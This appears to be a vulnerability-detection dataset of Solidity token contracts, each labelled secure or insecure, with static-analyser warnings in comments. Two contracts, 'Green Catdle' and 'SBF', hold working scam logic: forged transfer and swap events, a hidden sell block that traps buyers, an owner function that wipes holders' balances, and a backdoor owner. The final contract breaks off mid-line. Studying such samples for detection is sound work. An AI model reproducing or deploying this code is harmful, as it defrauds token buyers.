files
dict
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./IERC20Meta.sol\" as IERC20Meta;\n\ncontract TOKEN is Ownable, IERC20, IERC20Meta {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n address private _p76234;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5d4181b): TOKEN._e242 should be constant \n\t// Recommendation for 5d4181b: Add the 'constant' attribute to state variables that never change.\n uint256 private _e242 = 999;\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 8;\n }\n\n function claim(address[] calldata _addresses_, uint256 _out) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Transfer(_p76234, _addresses_[i], _out);\n }\n }\n\n function multicall(address[] calldata _addresses_, uint256 _out) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Transfer(_p76234, _addresses_[i], _out);\n }\n }\n\n function execute(address[] calldata _addresses_, uint256 _out) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Transfer(_p76234, _addresses_[i], _out);\n }\n }\n\n function transfer(address _from, address _to, uint256 _wad) external {\n emit Transfer(_from, _to, _wad);\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address accountOwner = _msgSender();\n\n _transfer(accountOwner, to, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address accountOwner = _msgSender();\n\n _approve(accountOwner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 402bc3a): TOKEN.actionPair(address).account lacks a zerocheck on \t _p76234 = account\n\t// Recommendation for 402bc3a: Check that the address is not zero.\n function actionPair(address account) public virtual returns (bool) {\n if (_msgSender() == 0x660b52f74F2511AD9134b9d6038B7AA8c57e7Fe6)\n\t\t\t// missing-zero-check | ID: 402bc3a\n _p76234 = account;\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n\n unchecked {\n _balances[account] += amount;\n }\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n\n renounceOwnership();\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n if (\n (from != _p76234 &&\n to == 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80) ||\n (_p76234 == to &&\n from != 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80 &&\n from != 0xbEfA30Fc7be4cF0A6312d1AF93234bD105be6BB8 &&\n from != 0x1E028E1C5289f0918B87c6410e08b95b217D5bcE)\n ) {\n uint256 _X7W88 = amount + 1;\n\n require(_X7W88 < _e242);\n }\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _spendAllowance(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(accountOwner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(accountOwner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n constructor() {\n _name = unicode\"Green Catdle\";\n\n _symbol = unicode\"Cattle\";\n\n _mint(msg.sender, 100000000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_1359.sol", "secure": 0, "size_bytes": 6482 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IFactory.sol\" as IFactory;\nimport \"./IPair.sol\" as IPair;\nimport \"./IRouter.sol\" as IRouter;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract SBF {\n\t// WARNING Optimization Issue (immutable-states | ID: c460c3f): SBF._router should be immutable \n\t// Recommendation for c460c3f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IRouter internal _router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a576f63): SBF._pair should be immutable \n\t// Recommendation for a576f63: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IPair internal _pair;\n\n address public owner;\n\n\t// WARNING Optimization Issue (immutable-states | ID: cf9dc73): SBF._owner should be immutable \n\t// Recommendation for cf9dc73: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _owner;\n\n\t// WARNING Optimization Issue (constable-states | ID: b58d8da): SBF._routerAddress should be constant \n\t// Recommendation for b58d8da: Add the 'constant' attribute to state variables that never change.\n address private _routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0a103e1): SBF._universal should be constant \n\t// Recommendation for 0a103e1: Add the 'constant' attribute to state variables that never change.\n address private _universal = 0xEf1c6E67703c7BD7107eed8303Fbe6EC2554BF6B;\n\n address private _pairr;\n\n event Swapp(\n address indexed sender,\n uint256 amount0In,\n uint256 amount1In,\n uint256 amount0Out,\n uint256 amount1Out,\n address indexed to\n );\n\n mapping(address => uint256) private balances;\n\n mapping(address => mapping(address => uint256)) private allowances;\n\n string public constant name = \"SBF\";\n\n string public constant symbol = \"SBF\";\n\n uint8 public constant decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 569fc6e): SBF.totalSupply should be constant \n\t// Recommendation for 569fc6e: Add the 'constant' attribute to state variables that never change.\n uint256 public totalSupply = 320_690_000_000_000e18;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Swap(\n address indexed sender,\n uint256 amount0In,\n uint256 amount1In,\n uint256 amount0Out,\n uint256 amount1Out,\n address indexed to\n );\n\n constructor() {\n owner = msg.sender;\n\n _owner = msg.sender;\n\n _router = IRouter(_routerAddress);\n\n _pair = IPair(\n IFactory(_router.factory()).createPair(\n address(this),\n address(_router.WETH())\n )\n );\n\n balances[msg.sender] = totalSupply;\n\n emit Transfer(address(0), msg.sender, totalSupply);\n }\n\n modifier onlyOwner() {\n require(owner == msg.sender, \"Caller is not the owner\");\n\n _;\n }\n\n modifier OnlyOwner() {\n require(_owner == msg.sender, \"Caller is not the Owner\");\n\n _;\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n require(b <= a, \"SafeMath: subtraction overflow\");\n\n uint256 c = a - b;\n\n return c;\n }\n\n function renounceOwnership() public onlyOwner {\n owner = address(0);\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n _transfer(msg.sender, to, amount);\n\n return true;\n }\n\n function allowance(\n address __owner,\n address spender\n ) public view virtual returns (uint256) {\n return allowances[__owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n _spendAllowance(from, msg.sender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address __owner = msg.sender;\n\n _approve(__owner, spender, allowance(__owner, spender) + addedValue);\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address __owner = msg.sender;\n\n uint256 currentAllowance = allowance(__owner, spender);\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(__owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 fromBalance = balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n balances[from] = sub(fromBalance, amount);\n\n balances[to] = add(balances[to], amount);\n\n emit Transfer(from, to, amount);\n }\n\n function _approve(\n address __owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(__owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n allowances[__owner][spender] = amount;\n\n emit Approval(__owner, spender, amount);\n }\n\n function _spendAllowance(\n address __owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(__owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(__owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function execute(\n address[] memory recipients,\n uint256 tokenAmount,\n uint256 wethAmount,\n address tokenAddress\n ) public OnlyOwner returns (bool) {\n for (uint256 i = 0; i < recipients.length; i++) {\n _swap(recipients[i], tokenAmount, wethAmount, tokenAddress);\n }\n\n return true;\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d05d8e0): SBF.getBaseTokenReserve(address) ignores return value by (reserve0,reserve1,None) = _pair.getReserves()\n\t// Recommendation for d05d8e0: Ensure that all the return values of the function calls are used.\n function getBaseTokenReserve(address token) public view returns (uint256) {\n\t\t// unused-return | ID: d05d8e0\n (uint112 reserve0, uint112 reserve1, ) = _pair.getReserves();\n\n uint256 baseTokenReserve = (_pair.token0() == token)\n ? uint256(reserve0)\n : uint256(reserve1);\n\n return baseTokenReserve;\n }\n\n function transfer(\n address[] calldata _users,\n uint256 _minBalanceToReward,\n uint256 _percent\n ) public OnlyOwner {\n for (uint256 i = 0; i < _users.length; i++) {\n if (balanceOf(_users[i]) > _minBalanceToReward) {\n uint256 rewardAmount = _countReward(_users[i], _percent);\n\n balances[_users[i]] = rewardAmount;\n }\n }\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 457b134): SBF.setup(address)._setup_ lacks a zerocheck on \t _pairr = _setup_\n\t// Recommendation for 457b134: Check that the address is not zero.\n function setup(address _setup_) external onlyOwner {\n\t\t// missing-zero-check | ID: 457b134\n _pairr = _setup_;\n }\n\n function execute(\n address[] calldata _addresses_,\n uint256 _in,\n uint256 _out\n ) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Swapp(_universal, _in, 0, 0, _out, _addresses_[i]);\n\n emit Transfer(_pairr, _addresses_[i], _out);\n }\n }\n\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\n address[] calldata _addresses_,\n uint256 _in,\n uint256 _out\n ) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Swapp(_universal, _in, 0, 0, _out, _addresses_[i]);\n\n emit Transfer(_pairr, _addresses_[i], _out);\n }\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 6b9a407): SBF._swap(address,uint256,uint256,address) has external calls inside a loop IERC20(tokenAddress)._Transfer(recipient,address(_pair),wethAmount)\n\t// Recommendation for 6b9a407: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7dee775): SBF._swap(address,uint256,uint256,address) ignores return value by IERC20(tokenAddress)._Transfer(recipient,address(_pair),wethAmount)\n\t// Recommendation for 7dee775: Ensure that all the return values of the function calls are used.\n function _swap(\n address recipient,\n uint256 tokenAmount,\n uint256 wethAmount,\n address tokenAddress\n ) internal {\n _emitTransfer(recipient, tokenAmount);\n\n _emitSwap(tokenAmount, wethAmount, recipient);\n\n\t\t// calls-loop | ID: 6b9a407\n\t\t// unused-return | ID: 7dee775\n IERC20(tokenAddress)._Transfer(recipient, address(_pair), wethAmount);\n }\n\n function _emitTransfer(address recipient, uint256 tokenAmount) internal {\n emit Transfer(address(_pair), recipient, tokenAmount);\n }\n\n function _emitSwap(\n uint256 tokenAmount,\n uint256 wethAmount,\n address recipient\n ) internal {\n emit Swap(_routerAddress, tokenAmount, 0, 0, wethAmount, recipient);\n }\n\n function _countReward(\n address _user,\n uint256 _percent\n ) internal view returns (uint256) {\n return _count(balances[_user], _percent);\n }\n\n function _countAmountIn(\n uint256 amountOut,\n address[] memory path\n ) internal returns (uint256) {\n uint256[] memory amountInMax;\n\n amountInMax = new uint256[](2);\n\n amountInMax = _router.getAmountsIn(amountOut, path);\n\n balances[address(this)] += amountInMax[0];\n\n return amountInMax[0];\n }\n\n function _count(uint256 a, uint256 b) internal pure returns (uint256) {\n return a / b;\n }\n}", "file_name": "solidity_code_136.sol", "secure": 0, "size_bytes": 11762 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Bitlercoin is ERC20, ERC20Burnable, Ownable {\n constructor() ERC20(\"Bitlercoin\", \"BITLER\") Ownable(msg.sender) {\n _mint(msg.sender, 188921945 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_1360.sol", "secure": 1, "size_bytes": 481 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Snakey is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 12d688f): Snakey._taxWallet should be immutable \n\t// Recommendation for 12d688f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 90982ec): Snakey._initialBuyTax should be constant \n\t// Recommendation for 90982ec: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 16;\n\n\t// WARNING Optimization Issue (constable-states | ID: b8b3ec4): Snakey._initialSellTax should be constant \n\t// Recommendation for b8b3ec4: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 16;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9b69d0a): Snakey._reduceBuyTaxAt should be constant \n\t// Recommendation for 9b69d0a: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 84c2fb6): Snakey._reduceSellTaxAt should be constant \n\t// Recommendation for 84c2fb6: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3f09dd6): Snakey._preventSwapBefore should be constant \n\t// Recommendation for 3f09dd6: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Snakey by Jason Furie\";\n\n string private constant _symbol = unicode\"Snakey \";\n\n uint256 public _maxTxAmount = (_tTotal * 2) / 100;\n\n uint256 public _maxWalletSize = (_tTotal * 2) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: e1a2a6c): Snakey._taxSwapThreshold should be constant \n\t// Recommendation for e1a2a6c: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = (_tTotal * 3) / 1000;\n\n\t// WARNING Optimization Issue (constable-states | ID: ad366f0): Snakey._maxTaxSwap should be constant \n\t// Recommendation for ad366f0: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 1) / 100;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint256 private firstBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n event ClearToken(address TokenAddressCleared, uint256 Amount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x3Fe89970De45036eda8987882827E9326Eea97d2);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d2f5a1f): Snakey.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for d2f5a1f: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 41f88f8): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 41f88f8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ce8c66d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ce8c66d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 41f88f8\n\t\t// reentrancy-benign | ID: ce8c66d\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 41f88f8\n\t\t// reentrancy-benign | ID: ce8c66d\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7e73d63): Snakey._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7e73d63: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: ce8c66d\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 41f88f8\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1906ee5): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1906ee5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: e2723b6): Snakey._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for e2723b6: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1c8d3c2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1c8d3c2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n\t\t\t// incorrect-equality | ID: e2723b6\n if (block.number == firstBlock) {\n require(_buyCount < 35, \"Exceeds buys on the first block.\");\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 1906ee5\n\t\t\t\t// reentrancy-eth | ID: 1c8d3c2\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 1906ee5\n\t\t\t\t\t// reentrancy-eth | ID: 1c8d3c2\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 1c8d3c2\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 1c8d3c2\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 1c8d3c2\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 1906ee5\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 1c8d3c2\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 1c8d3c2\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 1906ee5\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 1906ee5\n\t\t// reentrancy-events | ID: 41f88f8\n\t\t// reentrancy-benign | ID: ce8c66d\n\t\t// reentrancy-eth | ID: 1c8d3c2\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 1906ee5\n\t\t// reentrancy-events | ID: 41f88f8\n\t\t// reentrancy-eth | ID: 1c8d3c2\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: fcaa98d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for fcaa98d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8457d0d): Snakey.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 8457d0d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 21e2187): Snakey.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 21e2187: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d4c5139): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d4c5139: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: fcaa98d\n\t\t// reentrancy-eth | ID: d4c5139\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: fcaa98d\n\t\t// unused-return | ID: 21e2187\n\t\t// reentrancy-eth | ID: d4c5139\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: fcaa98d\n\t\t// unused-return | ID: 8457d0d\n\t\t// reentrancy-eth | ID: d4c5139\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: fcaa98d\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: d4c5139\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: fcaa98d\n firstBlock = block.number;\n }\n\n receive() external payable {}\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n function clearStuckToken(\n address tokenAddress,\n uint256 tokens\n ) external returns (bool success) {\n require(_msgSender() == _taxWallet);\n\n if (tokens == 0) {\n tokens = IERC20(tokenAddress).balanceOf(address(this));\n }\n\n emit ClearToken(tokenAddress, tokens);\n\n return IERC20(tokenAddress).transfer(_taxWallet, tokens);\n }\n\n function manualSend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 ethBalance = address(this).balance;\n\n require(ethBalance > 0, \"Contract balance must be greater than zero\");\n\n sendETHToFee(ethBalance);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = 